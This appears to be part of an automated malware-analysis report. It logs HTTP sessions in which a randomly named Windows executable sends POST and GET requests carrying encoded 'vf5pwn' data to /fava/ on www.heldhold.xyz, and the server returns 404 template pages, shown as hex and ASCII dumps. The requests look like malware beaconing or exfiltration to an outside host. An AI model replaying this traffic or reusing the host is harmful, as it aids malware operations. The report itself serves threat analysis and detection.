vf5pwn=LAr5q9LyWuo5NUpPUAZ9CveEcPYg+LQXG4GRFQB4sjNQVnwCZPUxBobRXXn8jowt3J8JfC92J7wJ0pZQ3fEFfzQN/JPbJDOOjWJKogYn7EdTIP9QPN+Ce6w1wz6nLvJ5xcPjfrQEXv3gZqExqzSvNDDDNrfiKlQDb8LhvSCypvN+Spkbhlq3T7IMfZ2+r94kyCOwRLkWao+uWrZTtzt47oC20P+L
Sep 26, 2024 15:23:25.261872053 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 26 Sep 2024 13:23:25 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 32106 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Sep 26, 2024 15:23:25.262027979 CEST	1236	IN	Data Raw: 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2d 34 2d 6e 61 76 62 61 72 2e 63 Data Ascii: rel="stylesheet"> <link href="assets/vendor/bootstrap/css/bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ... OWL CAROUSEL -->
Sep 26, 2024 15:23:25.262186050 CEST	448	IN	Data Raw: 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 67 2d 74 72 61 6e 73 70 61 72 65 6e 74 20 74 65 78 74 2d 77 68 69 74 65 22 3e 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 Data Ascii: <button type="submit" class="btn bg-transparent text-white"> <i class="fas fa-search"></i> </button> </div> </div> </form> </div> </div>... Loading Screen --><div id="ju-loading-scre
Sep 26, 2024 15:23:25.262192011 CEST	1236	IN	Data Raw: 74 68 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 66 61 62 6c 65 73 2d 74 6f 70 2d 68 65 61 64 65 72 2d 73 69 67 6e 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 Data Ascii: th-background-color fables-top-header-signin"> <div class="container"> <div class="row" id="top-row"> <div class="col-12 col-sm-2 col-lg-5"> <div class="dropdown"> <button class="btn bt
Sep 26, 2024 15:23:25.262511969 CEST	224	IN	Data Raw: 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 66 61 62 6c 65 73 2d 74 68 69 72 64 2d 74 65 78 74 2d 63 6f 6c 6f 72 20 66 6f 6e 74 2d 31 33 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 61 62 6c 65 73 2d 69 63 6f 6e 70 68 6f 6e 65 22 3e 3c 2f 73 70 61 Data Ascii: <p class="fables-third-text-color font-13"><span class="fables-iconphone"></span> Phone : (888) 6000 6000 - (888) 6000 6000</p> </div> <div class="col-12 col-sm-5 col-lg-3 text-right">
Sep 26, 2024 15:23:25.262516975 CEST	1236	IN	Data Raw: 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 66 61 62 6c 65 73 2d 74 68 69 72 64 2d 74 65 78 74 2d 63 6f 6c 6f 72 20 66 6f 6e 74 2d 31 33 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 61 62 6c 65 73 2d 69 63 6f 6e 65 6d 61 69 6c 22 3e 3c 2f 73 Data Ascii: <p class="fables-third-text-color font-13"><span class="fables-iconemail"></span> Email: Design@domain.com</p> </div> </div> </div></div> ... /End Top Header -->... Start Fables Navigation --><
Sep 26, 2024 15:23:25.262528896 CEST	224	IN	Data Raw: 61 62 6c 65 73 2d 6e 61 76 22 3e 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 22 3e 0a Data Ascii: ables-nav"> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="sub-nav1" data-toggle="dropdown" aria-haspopup="true"
Sep 26, 2024 15:23:25.262662888 CEST	1236	IN	Data Raw: 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 22 66 61 6c 73 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 48 6f 6d 65 0a 20 20 20 20 20 20 20 20 20 Data Ascii: aria-expanded="false"> Home </a> <ul class="dropdown-menu" aria-labelledby="sub-nav1">
Sep 26, 2024 15:23:25.262670994 CEST	224	IN	Data Raw: 74 6f 67 67 6c 65 22 20 68 72 65 66 3d 22 23 22 3e 48 65 61 64 65 72 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 Data Ascii: toggle" href="#">Headers</a> <ul class="dropdown-menu"> <li><a class="dropdown-item dropdown-toggle" href="#">Header 1</a>
Sep 26, 2024 15:23:25.262681961 CEST	1236	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 Data Ascii: <ul class="dropdown-menu"> <li><a class="dropdown-item" href="header1-transparent.html">Header 1 Transparent</a></li>
Sep 26, 2024 15:23:25.267330885 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 68 65 61 64 65 72 32 2d 64 61 72 6b 2e 68 74 6d 6c 22 Data Ascii: <li><a class="dropdown-item" href="header2-dark.html">Header 2 Dark</a></li> </ul> </li>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49726	67.223.117.189	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:23:27.226273060 CEST	1806	OUT	POST /fava/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.heldhold.xyz Origin: http://www.heldhold.xyz Content-Length: 1243 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.heldhold.xyz/fava/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 4c 41 72 35 71 39 4c 79 57 75 6f 35 4e 55 70 50 55 41 5a 39 43 76 65 45 63 50 59 67 2b 4c 51 58 47 34 47 52 46 51 42 34 73 6a 46 51 56 55 34 43 59 75 55 78 48 59 62 52 4a 6e 6e 68 6a 6f 77 77 33 4a 30 4e 66 43 77 4c 4a 35 49 4a 30 49 35 51 2f 4f 45 46 55 7a 51 4e 67 35 50 4c 4e 44 4f 62 6a 57 5a 47 6f 67 49 6e 37 45 64 54 49 4e 31 51 4d 5a 71 43 46 36 77 36 78 7a 36 6a 47 50 4a 52 78 63 47 59 66 72 63 36 58 66 58 67 59 4b 30 78 35 78 71 76 43 44 44 42 4f 72 66 36 4b 6c 63 6d 62 38 57 61 76 54 47 55 70 6f 68 2b 52 2f 45 4e 30 47 61 2f 41 72 63 56 54 35 75 67 31 5a 6c 46 79 51 53 30 5a 59 51 71 47 36 79 75 42 63 68 4b 68 79 6b 4f 69 76 79 47 2b 4b 7a 2b 32 61 6d 59 72 43 51 44 39 30 50 6c 35 43 45 65 7a 65 6e 79 49 4f 61 71 66 36 49 76 33 4a 37 68 4d 6e 65 50 74 34 39 55 65 67 68 35 50 39 6b 6d 62 49 63 4d 5a 33 37 4a 41 58 77 58 53 6b 5a 38 5a 6c 6a 6d 39 72 6b 67 4b 30 56 6e 58 58 7a 58 4a 6a 52 42 59 6c 42 4b 6c 50 5a 5a 38 6d 53 6d 50 35 78 39 4d 70 70 6e 48 50 70 50 38 49 6e [TRUNCATED] Data Ascii: vf5pwn=LAr5q9LyWuo5NUpPUAZ9CveEcPYg+LQXG4GRFQB4sjFQVU4CYuUxHYbRJnnhjoww3J0NfCwLJ5IJ0I5Q/OEFUzQNg5PLNDObjWZGogIn7EdTIN1QMZqCF6w6xz6jGPJRxcGYfrc6XfXgYK0x5xqvCDDBOrf6Klcmb8WavTGUpoh+R/EN0Ga/ArcVT5ug1ZlFyQS0ZYQqG6yuBchKhykOivyG+Kz+2amYrCQD90Pl5CEezenyIOaqf6Iv3J7hMnePt49Uegh5P9kmbIcMZ37JAXwXSkZ8Zljm9rkgK0VnXXzXJjRBYlBKlPZZ8mSmP5x9MppnHPpP8Inkvm07c8mYJ48s7NLWwhg5dFWmt7pr9yNzPjH4vK/3OloO97V1LwnCxOvvoKshRuEUp7XOTGg61dS2v0ObcpHIjQUrQue5v2v02L3eTik8Vg17u/GjULWIWWYJjcLqdS4kY2Xrdhwz0QyN5mKA4uRjx59PoZrC0rGzzyoK9ez376wTwJBoeTcalacH+6oYVqJu3RVQsw4jWirVjfhSXrL6FNvlDZS0EjwyHRxOZDH+xG01YN4GEWgq1N93rf46g/RVR/ME5SIljIos/XqP8foRqRYPX8tAVvrP80u09V1Q4MMJqOAmuQg6L8YwJEdEIQ0kGkAm0+5+ZhI/2gLPnTfj+dbiPdz3bSC32u08/8EonRN2029IoK8UtHmaDju/HM3WQirbWLnHj2H5bxA4cCyCm8y9aOBn1WfvYHrRPeItxP6/a1kxsbrF7EPuyMyyiswcCePeJ4kD1ixHLg2wjCU1cMHNPYd6oai/Up9fdPvHg1kGaK34xg76focRuznjHmoBFKAk1gE8G1OQ3QKTxDuJvsRMXhE9kqpjRlFGQSh4CJsNTm0rG5UoMXZRIWeTZceQ9TfxenoouI21/WMPOYkNvzKmYsJqORk/eRw+rNGYsOsqwMb69BoluyyPWeWw7iXx1UUZvDjg769FkaFxOZ8Hgt+XCVElXENIo [TRUNCATED]
Sep 26, 2024 15:23:27.824871063 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 26 Sep 2024 13:23:27 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 32106 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Sep 26, 2024 15:23:27.824929953 CEST	224	IN	Data Raw: 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2d 34 2d 6e 61 76 62 61 72 2e 63 Data Ascii: rel="stylesheet"> <link href="assets/vendor/bootstrap/css/bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ...
Sep 26, 2024 15:23:27.824939966 CEST	1236	IN	Data Raw: 20 4f 57 4c 20 43 41 52 4f 55 53 45 4c 20 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6f 77 6c 63 61 72 6f 75 73 65 6c 2f 6f 77 6c 2e 63 61 72 6f 75 73 65 6c 2e 6d 69 6e 2e 63 73 73 22 Data Ascii: OWL CAROUSEL --> <link href="assets/vendor/owlcarousel/owl.carousel.min.css" rel="stylesheet"> <link href="assets/vendor/owlcarousel/owl.theme.default.min.css" rel="stylesheet"> ... Timeline --> <link rel="stylesheet" href="
Sep 26, 2024 15:23:27.825109005 CEST	1236	IN	Data Raw: 69 64 3d 22 6a 75 2d 6c 6f 61 64 69 6e 67 2d 73 63 72 65 65 6e 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 2d 64 6f 75 62 6c 65 2d 62 6f 75 6e 63 65 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 2d 63 68 69 6c 64 20 Data Ascii: id="ju-loading-screen"> <div class="sk-double-bounce"> <div class="sk-child sk-double-bounce1"></div> <div class="sk-child sk-double-bounce2"></div> </div></div>... Start Top Header --><div class="fables-forth-background-color
Sep 26, 2024 15:23:27.825119972 CEST	1236	IN	Data Raw: 2f 69 6d 61 67 65 73 2f 46 72 61 6e 63 65 2e 70 6e 67 22 20 61 6c 74 3d 22 65 6e 67 6c 61 6e 64 20 66 6c 61 67 22 20 63 6c 61 73 73 3d 22 6d 72 2d 31 22 3e 20 46 72 65 6e 63 68 3c 2f 61 3e 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: /images/France.png" alt="england flag" class="mr-1"> French</a> </div> </div> </div> <div class="col-12 col-sm-5 col-lg-4 text-right"> <p class="fables
Sep 26, 2024 15:23:27.825129986 CEST	672	IN	Data Raw: 72 22 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 63 6f 6c 6c 61 70 73 65 22 20 64 61 74 61 2d 74 61 72 67 65 74 3d 22 23 66 61 62 6c 65 73 4e 61 76 44 72 6f 70 64 6f 77 6e 22 20 61 72 69 61 2d 63 6f 6e 74 Data Ascii: r" type="button" data-toggle="collapse" data-target="#fablesNavDropdown" aria-controls="fablesNavDropdown" aria-expanded="false" aria-label="Toggle navigation"> <span class="fables-iconmenu-icon text-white font-
Sep 26, 2024 15:23:27.825408936 CEST	1236	IN	Data Raw: 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 22 66 61 6c 73 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 48 6f 6d 65 0a 20 20 20 20 20 20 20 20 20 Data Ascii: aria-expanded="false"> Home </a> <ul class="dropdown-menu" aria-labelledby="sub-nav1">
Sep 26, 2024 15:23:27.825419903 CEST	1236	IN	Data Raw: 74 6f 67 67 6c 65 22 20 68 72 65 66 3d 22 23 22 3e 48 65 61 64 65 72 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 Data Ascii: toggle" href="#">Headers</a> <ul class="dropdown-menu"> <li><a class="dropdown-item dropdown-toggle" href="#">Header 1</a>
Sep 26, 2024 15:23:27.825428963 CEST	448	IN	Data Raw: 61 64 65 72 32 2d 74 72 61 6e 73 70 61 72 65 6e 74 2e 68 74 6d 6c 22 3e 48 65 61 64 65 72 20 32 20 54 72 61 6e 73 70 61 72 65 6e 74 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ader2-transparent.html">Header 2 Transparent</a></li> <li><a class="dropdown-item" href="header2-light.html">Header 2 Light</a></li>
Sep 26, 2024 15:23:27.825692892 CEST	1236	IN	Data Raw: 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 Data Ascii: > <li><a class="dropdown-item dropdown-toggle" href="#">Header 3</a> <ul class="dropdown-menu">
Sep 26, 2024 15:23:27.829912901 CEST	1236	IN	Data Raw: 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 Data Ascii: ></li> <li><a class="dropdown-item" href="header4-dark.html">Header 4 Dark</a></li> </ul>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49727	67.223.117.189	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:23:30.856440067 CEST	523	OUT	GET /fava/?lHul=nfQTqL40vDEpIp30&vf5pwn=GCDZpLqdSYk7fT5BaAxVCvWfN8QL3LUdfdSMH3wAhEJHSlsoeLITVJbnCwS/lbUV+KMqaRxHJZIr2IJ0lKwQAngPiIKVJBW1l0NVsB5cz1lTXdEnKbnDfocvymGyGvQBrQ== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.heldhold.xyz Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 26, 2024 15:23:31.454011917 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 26 Sep 2024 13:23:31 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 32106 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Sep 26, 2024 15:23:31.454024076 CEST	1236	IN	Data Raw: 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 Data Ascii: strap.min.css" rel="stylesheet"> <link href="assets/vendor/bootstrap/css/bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ... OWL
Sep 26, 2024 15:23:31.454035997 CEST	1236	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 67 2d 74 72 61 6e 73 70 61 72 65 6e 74 20 74 65 78 74 2d 77 68 69 74 65 22 3e Data Ascii: <button type="submit" class="btn bg-transparent text-white"> <i class="fas fa-search"></i> </button> </div> </div> </form> </div> </div>... Loading Screen --><div id="
Sep 26, 2024 15:23:31.454246998 CEST	1236	IN	Data Raw: 6d 67 20 73 72 63 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 65 6e 67 6c 61 6e 64 2e 70 6e 67 22 20 61 6c 74 3d 22 65 6e 67 6c 61 6e 64 20 66 6c 61 67 22 20 63 6c 61 73 73 3d 22 6d 72 2d 31 22 3e 20 45 6e 67 6c 69 73 68 Data Ascii: mg src="assets/custom/images/england.png" alt="england flag" class="mr-1"> English</a> <a class="dropdown-item white-color font-13 fables-second-hover-color" href="#"> <img src="assets/custom/ima
Sep 26, 2024 15:23:31.454258919 CEST	896	IN	Data Raw: 22 3e 0a 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 62 72 61 6e 64 20 70 6c 2d 30 22 20 68 72 65 66 3d 22 69 6e 64 65 78 2e Data Ascii: "> <a class="navbar-brand pl-0" href="index.html"><img src="assets/custom/images/fables-logo.png" alt="Fables Template" class="fables-logo"></a> <button class="navbar-toggler" t
Sep 26, 2024 15:23:31.454364061 CEST	1236	IN	Data Raw: 68 61 73 70 6f 70 75 70 3d 22 74 72 75 65 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 22 66 61 6c 73 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: haspopup="true" aria-expanded="false"> Home </a> <ul class="dropdown-menu" aria-labelledby="sub-nav1">
Sep 26, 2024 15:23:31.454370975 CEST	1236	IN	Data Raw: 2d 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 22 20 68 72 65 66 3d 22 23 22 3e 48 65 61 64 65 72 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: -item dropdown-toggle" href="#">Headers</a> <ul class="dropdown-menu"> <li><a class="dropdown-item dropdown-toggle" href="#">Header 1</a>
